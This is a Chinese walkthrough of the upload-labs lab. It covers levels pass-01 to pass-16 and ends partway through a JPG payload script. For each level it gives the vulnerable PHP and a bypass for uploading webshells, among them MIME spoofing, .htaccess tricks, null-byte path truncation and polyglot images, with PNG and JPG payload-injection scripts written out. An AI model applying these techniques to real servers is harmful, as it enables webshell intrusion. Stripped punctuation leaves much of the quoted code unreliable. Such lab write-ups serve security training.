莱芜住房和城乡建设部网站,简道云crm,陕西营销型网站建设公司,wordpress 远程缓存目录 靶场准备
复现
pass-01
代码审计
执行逻辑
文件上传
方法一#xff1a;直接修改或删除js脚本
方法二#xff1a;修改文件后缀
pass-02
代码审计
文件上传
1. 思路
2. 实操
pass-03
代码审计
过程#xff1a;
文件上传
pass-04
代码审计
文件上传
p…目录 靶场准备
复现
pass-01
代码审计
执行逻辑
文件上传
方法一直接修改或删除js脚本
方法二修改文件后缀
pass-02
代码审计
文件上传
1. 思路
2. 实操
pass-03
代码审计
过程
文件上传
pass-04
代码审计
文件上传
pass-05
代码审计
pass-06
代码审计
文件上传
pass-07
代码审计
pass-08
代码审计
pass-09
代码审计
pass-10
代码审计
文件上传
pass-11
代码审计
文件上传
pass-12
代码审计
文件上传
pass-13
代码审计
文件上传
pass-14
代码审计
pass-15
代码审计
pass-16
代码审计
文件上传
gif
png
jpg
pass-17
代码审计
文件上传
1. 准备php文件
2. 上传
pass-18
代码审计
文件上传
1. 准备图片码
2. Burp抓包
3. 在文件夹里查看
pass-19
代码审计
文件上传
1. 大小写
2. 添加后缀
pass-20
代码审计
文件上传
1. 上传
2. 抓包改包
3. 验证 靶场准备 安装phpstudy 下载靶场https://github.com/c0ny1/upload-labs 靶场解压至phpstudy下的www目录 打开phpstudy启动apache版本不要太高 运行靶场的phpstudy.exe文件显示成功就在浏览器访问靶场
复现
pass-01
代码审计 function checkFile() {var file document.getElementsByName(upload_file)[0].value;if (file null || file ) {alert(请选择要上传的文件!);return false;}//定义允许上传的文件类型var allow_ext .jpg|.png|.gif;//提取上传文件的类型var ext_name file.substring(file.lastIndexOf(.));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name |) -1) {var errMsg 该文件不允许上传请上传 allow_ext 类型的文件,当前文件类型为 ext_name;alert(errMsg);return false;}}
执行逻辑 temp_file记录上传文件的临时名称 img_path是为上传文件构造的新路径 用move_uploaded_file函数把文件移动到img_path下 通过file.substring(file.lastIndexOf(.));获取文件的后缀 和白名单的3种文件类型对比判断是否属于其中的3类。属于则可以直接上传否则就上传失败 文件上传
方法一直接修改或删除js脚本 打开BurpSuit开启抓包 先上传一个符合要求的图片 选中包右键选择Do intercept -- Response to this request之后放包 之后立马就可以抓到另一个包打开就可以看到响应部分如下图 之后修改.jpg|.png|.gif的当中的任何一个为.php然后保存放包 然后进到靶场上传准备好的webshell此时webshell是可以成功上传的可以打开uploasd文件夹看一下 访问一下上传的文件试一下 蚂剑再验证一下 都没有问题
方法二修改文件后缀 把编码好的webshell的后缀修改为符合条件的后缀 打开Burp抓包 在靶场上传 打开抓到的数据包传给Repeter模块然后把文件的后缀恢复点击send就可以了
跟方法一差不多这里就不做演示了如果把方法一实践一遍那是完全可以实现方法二的。
pass-02
代码审计
?phpinclude ../config.php;include ../head.php;include ../menu.php;$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES[upload_file][type] image/jpeg) || ($_FILES[upload_file][type] image/png) || ($_FILES[upload_file][type] image/gif)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / . $_FILES[upload_file][name]; if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 文件类型不正确请重新上传;}} else {$msg UPLOAD_PATH.文件夹不存在,请手工创建;}}?div idupload_panelollih3任务/h3p上传一个codewebshell/code到服务器。/p/lilih3上传区/h3form enctypemultipart/form-data methodpost onsubmitreturn checkFile()p请选择要上传的图片pinput classinput_file typefile nameupload_file/input classbutton typesubmit namesubmit value上传//formdiv idmsg?php if($msg ! null){echo 提示.$msg;}?/divdiv idimg?phpif($is_upload){echo img src.$img_path. width250px /;}?/div/li?php if($_GET[action] show_code){include show_code.php;}?/ol/div?phpinclude ../footer.php;? 其他地方就不分析了主要看这里enctypemultipart/form-data 这个设置表明Content-Type这个键的值是multipart/form-data而这个值的一大特点如下 将请求体分成多个部分parts每个部分可以包含不同的数据如表单字段、文件内容等。 每个部分都有自己的 Content-Type 和 Content-Disposition 头部允许客户端指定文件的类型和名称。 然后某些服务器可能只检查请求头中的 Content-Type而没有深入解析 multipart/form-data 的每个部分。 例如服务器可能只检查请求头中的 Content-Type: multipart/form-data而忽略每个部分的 Content-Type。 利用这个逻辑漏洞伪造文件类型 在 multipart/form-data 的某个部分中伪造 Content-Type将 PHP 文件的 Content-Type 设置为 image/jpeg从而绕过服务器的文件类型检查。 文件上传
1. 思路
直接在靶场上传一个php文件然后使用Burp抓包把数据包发到Repeter模块然后修改Content-Type的类型为image/ipeg代码审计得到的结果自行审计Send之后就可以访问文件或者使用蚁剑测试是否成功了
2. 实操 上传php文件 抓包并改包 蚁剑连接测试 连接成功。
pass-03
这一关弄了一个黑名单黑名单里面的后缀文件不允许上传其实跟前两关没啥区别。而且很简单。
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.asp,.aspx,.php,.jsp);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 不允许上传.asp,.aspx,.php,.jsp后缀文件;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}} 过程 先判断文件是否存在若存在则获取其文件名称 通过trim函数去除其文件名称多余的空白字符或者转义字符。 然后通过其自定义的deldot函数删除其文件末尾的点 再通过strrchr函数获取从文件名中最后一个.符号开始的后面所有字符串若上传文件为xx.php即可以获取后缀.php) 然后通过strtolower函数将后缀名全部转换为小写 然后通过str_ireplace函数将后缀名中如果存在的::$DATA符号删去。 然后使用trim函数对后缀进行去空格操作。 通过in_array函数对比其后缀是否属于 $deny_ext中的几项若不属于则继续上传 文件上传
这一关特别简单方法很多比如把.php改为.php3或者怎样的只要不是黑名单中的其中一个就成了。
所以就可以这样做 直接上传php文件 使用Burp抓包 发给Repeter模块修改文件后缀为.php3 访问测试 pass-04
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件不允许上传!;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
这一关跟上一关并无太大区别无非就是黑名单多了一些没关系我们利用.htaccess文件就好。
.htaccess文件可以简单理解为一个提前预制的命令在文件里面写好要运行哪个文件以什么形式执行 那么上传的那个文件就会按我们提前设置好的要求执行即使是在下级目录也可以。
文件上传
首先是开启.htaccess功能。
找到phpstudy下的apache文件夹 如
D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf
打开httpd.conf文件把AllowOverride 设置为ALL 然后构造.htaccess文件编写一下内容 FilesMatch info.jpgSetHandler application/x-httpd-php/FilesMatch
然后先上传./htaccess文件.htaccess文件就叫这个名不需要添加其他
再上传修改了文件后缀为.jpg的php文件然后访问 结果如上成功上传
pass-05
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件类型不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
这里看着唬人其实一个大小写就绕过了把.php改为.PHP就成功上传了
没啥技术含量就不说了下一关
pass-06
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name $_FILES[upload_file][name];$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
这一关有点意思主要是它把.htaccess过滤掉了也就是说不能像pass-04那样处理了。但是却有更好的处理办法这里就要引入windows下文件系统的一些特性了。在windows中文件名属于以下一种情况是会自动去掉末尾 文件名最后是 . 文件名最后有空格 文件名最后有::$DATA
那么利用这个特性就可以绕过过滤了。
文件上传
首先打开Burp准备抓包
然后直接上传一个.php文件
在Burp里把包发给Repeter模块在模块里给文件添加以上说到的后缀然后在upload文件夹里验证是否上传成功
抓包修改如下 再来看一看upload文件夹 注意这一关的代码里有去.和去::$DATA的函数所以不能通过这两个绕过。
话虽这样说但是我这样:$DATA也就绕过了嘛
pass-07
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件类型不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
对比上一关的源码就很清晰了这一关就是要在文件末尾加.以绕过因为连去掉.的函数都没有了嘛
这一关的 上一关的 这就很简单了一样的步骤不演示了下一关
pass-08
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件类型不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
源码里有去掉.的有去掉空格的所以这一关就是要使用::$DATA绕过了对比前两关的代码就可以看出来了
6、7、8三关就是利用windows文件系统的特性而且还要求是黑名单绕过的很简单在pass-06已经演示一种方法了剩下的一样的步骤就不演示了。但是注意了这些方法在Linux环境下大概率饶不了。
pass-09
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件类型不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
四个函数deldot、strtolower、str_ireplace、trim把大小写、Windows文件系统特性都过滤了怎么办呢
简单啊它不是先删除.然后转小写然后删::$DATA然后去空格吗那加一层码喽。
这样构造 mm.php.空格.这样会先删除 . 文件就变成这样 mm.php.空格注意这里还有空格的然后什么转小写啥的就不管了之后去空格嘛这样文件就变成这样了 mm.php.然后没有匹配黑名单啊所以上传嘛然后又是Windows文件系统特性把最后的 . 去掉然后就成功上传了嘛 如下图所示 pass-10
代码审计
$is_upload false;$msg null;if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);$file_name trim($_FILES[upload_file][name]);$file_name str_ireplace($deny_ext,, $file_name);$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}}
这个就更简单了利用str_ireplace函数把匹配黑名单的文件后缀置空嘛
那还是一样嘛。加一层码 mm.phphpp
它又不调用两次str_ireplace函数既然要过滤那给它嘛它把里面的php置空还有外层呢
文件上传
先构造好文件 mm.phphpp
然后直接上传再访问验证就好了
上传 验证 pass-11 这个题在实际应用中可能衍生一种竞争型的解法但是需要多次尝试这里给出思路。 这是一个以php文件上传的一个特性为基础的思路。在php中上传的文件会先到达temp目录下然后使用move函数移动到上传文件夹下再把临时文件删除。在移动临时文件和删除临时文件这个间隙中间有一个很短很短的窗口期那么假设它有一个读文件的函数比如 ? phpfile_get_contents($_GET[a],?php){include()}? 它先读如果匹配了php后缀那就直接die如果不匹配就include。 那么如果先上传一个无关紧要的文件在它读的过程中再上传我们的木马让木马正好走到file_get_contents函数下函数在读无关紧要文件时没有发现问题就会include此时就会把我们的木马一起include这样就可以上传webshell。 但是这个窗口期很短很短所以可以预料的是即使成功了也是n次尝试的。 这个思路是解一个国际CTF比赛的思路很值得思考借鉴。 代码审计 $is_upload false;$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}} else{$msg 只允许上传.jpg|.png|.gif类型文件;}} 虽然上面给出了一种竞争型的解法但是实际上这一题不是竞争解法。这里它使用了白名单。 它会截取文件的后缀比对白名单符合才会允许上传。那也许有人说了改后缀不就好了吗那不就可以上传了吗是的允许上传但是解析不了相当于真的把php变成jpg了毕竟这不是前端绕过啊前端绕过我们是上传php然后Burp抓包修改的本质还是上传.php。那怎么办呢 其实这一题用户可以控制上传文件最终落户的目录我们可以抓一个包验证一下 既然这样那我们就在这里动手脚文件的拼接不是这样吗
$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;
如果我在sava_path这里做一个截断把后面的内容都不要了比如这样 ../upload/web.php%00%00 是 URL编码 的 \0 的十六进制而 \0 是 C语言 的结束字符php底层也是C语言嘛
这样截断之后move函数在移动的时候本来是要移动到upload文件夹下再重命名但是现在没有重命名这一步了而且也不是放在文件夹下而是直接放在文件里相当于move函数直接把我们上传的文件的内容直接放到web.php里面。这样就上传成功了。
来验证一下
文件上传
首先构造好jpg文件 ?php phpinfo();
然后修改后缀为jpg。
打开Burp准备好抓包之后上传jpg文件 打开看一下文件内容 pass-12
代码审计
$is_upload false;$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_POST[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传失败;}} else {$msg 只允许上传.jpg|.png|.gif类型文件;}}
这一关跟pass-11一样就是save_path的接收方式变了pass-11是get型这里变为了post型我们抓一个包看一下变化就知道了 原本在1的位置现在变到2的位置了需要在3那里改。但是在这个位置改的话就不能使用%00因为这里不属于地址栏需要使用另一种方法。
文件上传
先这样构造upload/web.php空格
然后点击HEX找到对应位置把20改为00 保存好然后返回Pretty点1进行查看就会发现有\0了 然后Send就可以上传成功了
pass-13
代码审计
function getReailFileType($filename){$file fopen($filename, rb);$bin fread($file, 2); //只读2字节fclose($file);$strInfo unpack(C2chars, $bin); $typeCode intval($strInfo[chars1].$strInfo[chars2]); $fileType ; switch($typeCode){ case 255216: $fileType jpg;break;case 13780: $fileType png;break; case 7173: $fileType gif;break;default: $fileType unknown;} return $fileType;}$is_upload false;$msg null;if(isset($_POST[submit])){$temp_file $_FILES[upload_file][tmp_name];$file_type getReailFileType($temp_file);if($file_type unknown){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}}
审计代码发现这一关会对图片内容进行检测。也就是说把php后缀修改为jpg之类的已经不能上传了。但是呢它对内容的检测又不完善所以一种思路就是把payload插入到图片中去。
文件上传
这在windows环境下就需要使用以下命令了
copy 文件A全称 /b 文件B /a 新文件名 这样就能得到一个包含php payload的png文件然后还要验证首先是查看图片是否可以打开不过不行那就换图片再插入一定要保证图片可以打开。确保图片可以打开之后使用记事本打开找一下插入的paylod在不在 也可以使用专业的工具010Editor查看。
这些保证没有问题之后就可以上传了不过即使上传成功了也不一定能执行因为有可能图片有问题。这时候之只能换图片不断尝试了
pass-14
代码审计
function isImage($filename){$types .jpeg|.png|.gif;if(file_exists($filename)){$info getimagesize($filename);$ext image_type_to_extension($info[2]);if(stripos($types,$ext)0){return $ext;}else{return false;}}else{return false;}}$is_upload false;$msg null;if(isset($_POST[submit])){$temp_file $_FILES[upload_file][tmp_name];$res isImage($temp_file);if(!$res){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis).$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}}
跟pass-13一样就是加了一些判断图片后缀和大小的代码对于这一关而言没有什么太大的作用按照pass-13的方法多试几遍就能成功了
pass-15
代码审计 function isImage($filename){//需要开启php_exif模块$image_type exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return gif;break;case IMAGETYPE_JPEG:return jpg;break;case IMAGETYPE_PNG:return png;break; default:return false;break;}}$is_upload false;$msg null;if(isset($_POST[submit])){$temp_file $_FILES[upload_file][tmp_name];$res isImage($temp_file);if(!$res){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}}
跟pass-13、pass-14一样的把php的payload插入到图片中然后检查没有问题之后就一直尝试直到成功为止思路是没有问题的就是需要一直试一遍不行就多来几遍。
pass-16
代码审计 $is_upload false;$msg null;if (isset($_POST[submit])){// 获得上传文件的基本信息文件名类型大小临时文件路径$filename $_FILES[upload_file][name];$filetype $_FILES[upload_file][type];$tmpname $_FILES[upload_file][tmp_name];$target_pathUPLOAD_PATH./.basename($filename);// 获得上传文件的扩展名$fileext substr(strrchr($filename,.),1);//判断文件后缀与类型合法才进行上传操作if(($fileext jpg) ($filetypeimage/jpeg)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromjpeg($target_path);if($im false){$msg 该文件不是jpg格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..jpg;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagejpeg($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else if(($fileext png) ($filetypeimage/png)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefrompng($target_path);if($im false){$msg 该文件不是png格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..png;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagepng($im,$img_path);unlink($target_path);$is_upload true; }} else {$msg 上传出错;}}else if(($fileext gif) ($filetypeimage/gif)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromgif($target_path);if($im false){$msg 该文件不是gif格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..gif;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagegif($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else{$msg 只允许上传后缀为.jpg|.png|.gif的图片文件;}} 这一关的亮点在于使用imagecreatefromgif函数把我们上传的图片打乱然后生成新的图片但是人肉眼看起来没有变化。 这样一来我们插入的payload就有可能被打乱导致webshell上传失败。这也是防御图片码的一种方法但最好的方法是没有文件包含这个漏洞。 我们可以看一下是否属实嘛
原来的图片码 上传后的图片码 那怎么办呢
想一下有没有可能这三种格式的图片会有一部分区域这个区域在整个图片打乱前和打乱后是不变的如果有那我们把payload插入到这块区域就能利用文件包含漏洞把webshell上传成功。
文件上传
gif
先上传一张正常的图片然后下载下来打开以一些专业的16进制查看工具比如010editor找到那个前后都没有被打乱的地方把payload插入那个位置然后再上传插入好payload的图片之后使用文件包含验证即可 这个思路没有问题问题是运气成分太大如果你运气好刚好拿到的图片问题不大那一下就好了如果运气不好那你可能试了十几张图片依然没结果但是没办法就是要一直试。
png
png图片插入payload比gif复杂一点因为png图片是由固定数据块组成的如果不能区分清楚的话很有可能导致上传是报错。
对与插入payload由以下两种方法
一、在PLTE数据块插入
这种方法有些别扭因为需要保证图片是索引颜色类型也就是说如果文件使用真彩色或灰度可能没有PLTE块。所以这里只提出来就不演示了
二、使用脚本
脚本编码 ?php$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,./1.png);?
这是php脚本保存好之后在浏览器运行就能得到一插入好payload的png图片 然后上传再用蚁剑连接测试一下就好 jpg
jpg差不多也是用脚本
脚本代码
?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php jpg_name.jpgIn case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs Somethings wrong.If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload ?phpinfo();?;if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);}if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) . $miniPayload . str_repeat(\0,$nullbytePayloadSize) . substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}}unlink(payload_.$argv[1]);die(Something\s wrong);function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip) {$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) 